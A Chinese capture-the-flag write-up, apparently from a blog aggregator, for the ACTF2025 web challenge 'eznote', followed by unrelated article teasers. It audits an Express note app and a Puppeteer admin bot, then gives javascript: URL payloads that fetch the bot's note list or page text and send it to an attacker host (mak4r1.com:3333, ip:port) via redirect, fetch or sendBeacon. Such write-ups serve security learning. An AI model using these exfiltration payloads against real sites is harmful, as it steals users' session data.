ACTF2025-web-eznote-wp

article/2025/6/28 8:14:08

附件审计

app.js

const express = require('express')
const session = require('express-session') // 会话管理中间件
const { randomBytes } = require('crypto') // 生成加密随机数
const fs = require('fs') // 文件系统操作
const spawn = require('child_process') // 执行外部命令(如调用 Pandoc)
const path = require('path') // 路径处理
const { visit } = require('./bot') // 自定义爬虫模块(用于/report路由)
const createDOMPurify = require('dompurify'); // HTML 净化库const { JSDOM } = require('jsdom'); // 提供 DOM 环境const DOMPurify = createDOMPurify(new JSDOM('').window);  const LISTEN_PORT = 3000  
const LISTEN_HOST = '0.0.0.0'  const app = express()  app.set('views', './views') // 模板目录
app.set('view engine', 'html') // - 这行代码设置了应用的视图引擎。'view engine' 是一个配置项的键,'html' 是对应的值,表示应用将使用 html 作为视图模板的扩展名。通常,这会配合视图引擎(如 ejs)来解析 .html 文件。
app.engine('html', require('ejs').renderFile) // - 这行代码注册了一个视图引擎。'html' 是视图模板的扩展名,require('ejs').renderFile 是一个函数,表示当应用需要渲染 .html 文件时,将使用 ejs 模板引擎来解析这些文件。ejs 是一个流行的模板引擎,允许在 HTML 文件中嵌入 JavaScript 代码。
app.use(express.urlencoded({ extended: true })) // 解析表单数据
//“.use()”是Express.js框架中用于挂载中间件的方法。它允许开发者在请求处理流程中插入自定义的逻辑或功能。
app.use(session({secret: randomBytes(4).toString('hex'), // 动态生成密钥(生产环境应固定)saveUninitialized: true, // 表示即使会话(session)尚未被初始化(即没有任何数据被存储到 session 中),也会将这个空的 session 保存到存储器(比如内存、数据库等)中。resave: true, // 强制重新保存会话
}))app.use((req, res, next) => {if (!req.session.notes) {req.session.notes = [] // 初始化会话中的笔记 ID 数组}next() // 传递控制权
})const notes = new Map() // 内存存储笔记(键为 noteId,值为笔记内容) setInterval(() => { notes.clear() }, 60 * 1000);  // 每分钟清空笔记(防内存泄漏) “setInterval”是JavaScript中一个很重要的函数,用于在指定的毫秒数后重复执行指定的函数,直到被清除。function toHtml(source, format) {if (format == undefined) format = 'markdown';let tmpfile = path.join('notes', randomBytes(4).toString('hex'));fs.writeFileSync(tmpfile, source); // 将内容写入临时文件let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString(); // 调用 Pandoc 转换格式return DOMPurify.sanitize(res); // DOMPurify.sanitize(res),对转换后的 HTML 内容进行净化,确保其安全性,再将净化后的结果返回。
} app.get('/ping', (req, res) => {  res.send('pong')  
})  app.get('/', (req, res) => {  res.render('index', { notes: req.session.notes })  
})  app.get('/notes', (req, res) => {  res.send(req.session.notes)  
})  app.get('/note/:noteId', (req, res) => {  let { noteId } = req.params  if(!notes.has(noteId)){  res.send('no such note')  return  }   let note = notes.get(noteId)  res.render('note', note)  
})  app.post('/note', (req, res) => {  let noteId = randomBytes(8).toString('hex')  let { title, content, format } = req.body  if (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {  res.send("illegal format!!!")  return  }  notes.set(noteId, {  title: title,  content: toHtml(content, format)  //净化好的html文件内容会储存在 notes这个全局变量中 })  req.session.notes.push(noteId)  res.send(noteId)  
})  app.get('/report', (req, res) => {  res.render('report')  
})  app.post('/report', async (req, res) => {  let { url } = req.body  try {  await visit(url)  res.send('success')  } catch (err) {  console.log(err)  res.send('error')  }  
})  app.listen(LISTEN_PORT, LISTEN_HOST, () => {  console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)  
})

bot.js

const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')const FLAG = (() => {let flag = 'flag{test}'if (fs.existsSync('flag.txt')){flag = fs.readFileSync('flag.txt').toString()fs.unlinkSync('flag.txt')} return flag
})()const HEADLESS = !!(process.env.PROD ?? false)const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))async function visit(url) {let browser = await puppeteer.launch({headless: HEADLESS,executablePath: '/usr/bin/chromium',args: ['--no-sandbox'],})let page = await browser.newPage()await page.goto('http://localhost:3000/')await page.waitForSelector('#title')await page.type('#title', 'flag', {delay: 100})await page.type('#content', FLAG, {delay: 100})await page.click('#submit', {delay: 100})await sleep(3)console.log('visiting %s', url)await page.goto(url)await sleep(30)await browser.close()
}module.exports = {visit
}

解题思路

我们看到,bot.js文件中,visit方法会利用这个搭建的笔记程序,自行配置浏览器将flag写入,笔记的写入逻辑我们可以在app.js中看到(这里可以结合附件中的index.html理解,bot访问的是根路由,
根路由渲染的是index)

写入笔记逻辑:

app.post('/note', (req, res) => {let noteId = randomBytes(8).toString('hex') // 生成唯一ID// 存储到全局Mapnotes.set(noteId, {title: title,content: toHtml(content, format)})// 存储ID到用户会话req.session.notes.push(noteId)res.send(noteId)
})

这里会把 noteId 写入 session.notes 数组中

bot的visit自动写入flag后,才用page.goto 继续执行 我们传入的url

要清楚一点是:bot写flag这个笔记时,创建了属于这个会话的session

请添加图片描述
它使用page.goto处理我们的url

我们注意到app.js中:

请添加图片描述
notes路由是会“响应” notes 的(这是可以得到noteId的)

我们知道session这东西是每个用户独立的,而这里的page.goto支持JavaScript伪协议
那我们就可以利用这一点
搞一些同一个session上下文的“奇妙事情”

到这里思路就很清晰了:
利用JavaScript的fetch把session异步请求到我们的vps,从而获取flag笔记的noteId,再用拿到的noteId,通过请求/note/:noteId路由,获取储存在 notes (const notes = new Map())这个全局变量中的 flag的内容

paylpad:
/report路由

javascript:fetch('http://localhost:3000/notes').then(r=>r.text()).then(t=>location.href='http://mak4r1.com:3333?c='+encodeURIComponent(t))

javascript:fetch('http://ip:port/?flag='+(document.body.innerText))

javascript:fetch('/notes').then(r=>r.text()).then(d=>navigator.sendBeacon('http://ip:port/',d))
攻击流程说明
攻击者
提交恶意报告
服务器调用 visit 函数
启动无头浏览器
访问本地应用
创建含 FLAG 的笔记
导航到恶意 URL
执行 JavaScript 代码
获取笔记 ID 列表
发送数据到攻击者服务器
攻击者获取敏感数据

参考文章

ACTF2025 WriteUp – Mak的小破站 (mak4r1.com)

ACTF2025 Web Writeup-先知社区 (aliyun.com)

2025 ACTF Web 复现 - 妙尽璇机 (changeyourway.github.io)


http://www.hkcw.cn/article/omVqIWJENv.shtml

相关文章

CSS 3D 变换中z-index失效问题

CSS 3D 变换中 z-index 失效问题 1. z-index 失效了 在 CSS 中,z-index 通常用于控制元素的层叠顺序,数值越大,元素越靠前显示。在 3D 变换(如 rotateX、translateZ) 中使用 z-index 时,可能会发现z-inde…

能源行业的网络安全:一场无声的战争

想象一下,你家的电力突然中断,冰箱里的食物开始变质,空调停止运转,甚至连手机充电都成了奢望。这不是科幻电影,而是网络攻击可能给我们的生活带来的真实影响。能源行业,这个维系现代社会运转的命脉&#xf…

ESP32-C3 + W5500 + MicroPython 编译记录

前言 我本来是想连个网,结果连上了无数个坑…… 在这个项目中,我的目标是用 ESP32-C3 W5500 作为有线网关,运行 MicroPython。听上去简单,实操下来却是一场跨平台 编译环境 烧录流程的大混战。 为了避免你也在这些坑里打转&…

项目管理进阶:56页大型IT项目管理实践经验分享【附全文阅读】

此文档为大型IT项目管理实践经验分享目录概览,主要包含以下核心内容: 1. **整体介绍**:阐述了项目管理在IT领域的重要性,特别是针对产品经理与开发人员间的冲突和挑战,提出通过项目管理方法来提升工作效率。目标受众为…

一种在SQL Server中传递多行数据的方法

这是一种比较偷懒的方法,其实各种数据库对Json 支持的很好。sql server 、oracle都不错。所以可以直接传json declare 这是一个json varchar(max) set 这是一个json{"data":[{"code":"1","name":"啥1"},{"…

SOC-ESP32S3部分:25-HTTP请求

飞书文档https://x509p6c8to.feishu.cn/wiki/KL4RwxUQdipzCSkpB2lcBd03nvK HTTP(Hyper Text Transfer Protocol) 超文本传输协议,是一种建立在 TCP 上的无状态连接,整个基本的工作流程是客户端发送一个 HTTP 请求,说明…

【音视频】H265 NALU分析

1 H265 概述 H264 与 H265 的区别 传输码率:H264 由于算法优化,可以低于 2Mbps 的速度实现标清数字图像传送;H.265 High Profile 可实现低于 1.5Mbps 的传输带宽下,实现 1080p 全高清视频传输。 编码架构:H.265/HEVC…

第十二节:第四部分:集合框架:List系列集合:LinkedList集合的底层原理、特有方法、栈、队列

LinkedList集合的底层原理 LinkedList集合的应用场景之一 代码:掌握LinkedList集合的使用 package com.itheima.day19_Collection_List;import java.util.LinkedList; import java.util.List;//掌握LinkedList集合的使用。 public class ListTest3 {public static …

用 Whisper 打破沉默:AI 语音技术如何重塑无障碍沟通方式?

网罗开发 (小红书、快手、视频号同名) 大家好,我是 展菲,目前在上市企业从事人工智能项目研发管理工作,平时热衷于分享各种编程领域的软硬技能知识以及前沿技术,包括iOS、前端、Harmony OS、Java、Python等…

实现Cursor + Pycharm 交互

效果演示: 直接可以在cursor或Pycharm中点击右键点击,然后就可以跳转到另一个应用的对应位置了 使用方法: 分别在两个应用中安装插件【Switch2Cursor Switch2IDEA,这两个插件分别安装在 IDEA 和 Cursor 中】: Switc…

【Linux】进程控制-上

> 🍃 本系列为Linux的内容,如果感兴趣,欢迎订阅🚩 > 🎊个人主页:【小编的个人主页】 >小编将在这里分享学习Linux的心路历程✨和知识分享🔍 >如果本篇文章有不足,还请多多包涵&a…

QT之头像剪裁效果实现

文章目录 源码地址,环境:QT5.15,MinGW32位效果演示导入图片设置剪裁区域创建剪裁小窗口重写剪裁小窗口的鼠标事件mousePressEventmouseMoveEventmouseReleaseEvent 小窗口移动触发父窗口的重绘事件剪裁效果实现 源码地址,环境&…

Android基于LiquidFun引擎实现软体碰撞效果

一、实现效果 Android使用LiquidFun物理引擎实现果冻碰撞效果 二、Android代码 // 加载liquidfun动态库static {System.loadLibrary("liquidfun");System.loadLibrary("liquidfun_jni");}class ParticleData {long id;ParticleSystem particleSystem;float…

Baklib赋能企业AI知识管理实践

Baklib构建AI-ready知识体系 Baklib作为新一代知识中台的核心引擎,通过知识图谱构建与自然语言处理(NLP)技术,将碎片化信息转化为结构化知识资产。平台依托智能语义分析能力,自动识别文档中的实体关系与上下文逻辑&am…

如何在 Windows 11 24H2 的任务栏时钟中显示秒数

我们都很熟悉任务栏时钟,或者说,是我们运行 Windows 的电脑屏幕右下角的数字时钟。它显示小时和分钟的时间,这基本上是每个人需要的,但我们有时也需要看到秒数。随着 Windows 11 的最新更新,它可以在任务栏时钟中直接显…

navicate菜单栏不见了怎么办

别慌!!! 将鼠标放到navicate框的最左侧,看到出现两个竖线(像这样||),点击拖动鼠标拉出来吧。

张家界溶洞垃圾堆7层楼高 污染触目惊心

近日,一段视频曝光了张家界市慈利县一处天然溶洞遭到人为排污的情况,引发广泛关注。视频中,溶洞内流淌着泛着绿色的污水,伴有黄绿色的淤泥沉积,黑色污染物自洞壁滑落凝固成厚厚的“黑痂”。拍摄者称,垃圾堆积高度达到七八层楼,令人触目惊心。据张家界市生态环境局透露,…

软件安全保障关键之漏洞扫描:原理、分类及意义全解析?

软件安全保障的关键在于漏洞扫描,这项工作通过特定技术和流程进行,旨在发现软件中可能存在的安全隐患,比如缓冲区溢出、跨站脚本攻击等,这些漏洞得以被识别和记录,对确保软件安全具有重要意义。 扫描原理 漏洞扫描依…

韩国大选开始投票 5人竞逐总统 李在明领跑民调

韩国第21届总统大选于当地时间6月3日6时正式开始,全国共设有14295个投票站。没有参加提前投票的选民凭身份证件前往指定投票站即可参与投票,投票将于当日20时结束。本次大选共有7位候选人登记,但其中两位宣布退出并支持国民力量党候选人金文洙。因此,选民将从以下5位候选人…

计算机网络 : 应用层自定义协议与序列化

计算机网络 : 应用层自定义协议与序列化 目录 计算机网络 : 应用层自定义协议与序列化引言1. 应用层协议1.1 再谈协议1.2 网络版计算器1.3 序列化与反序列化 2. 重新理解全双工3. socket和协议的封装4. 关于流失数据的处理5. Jsoncpp5.1 特性5.2 安装5.3…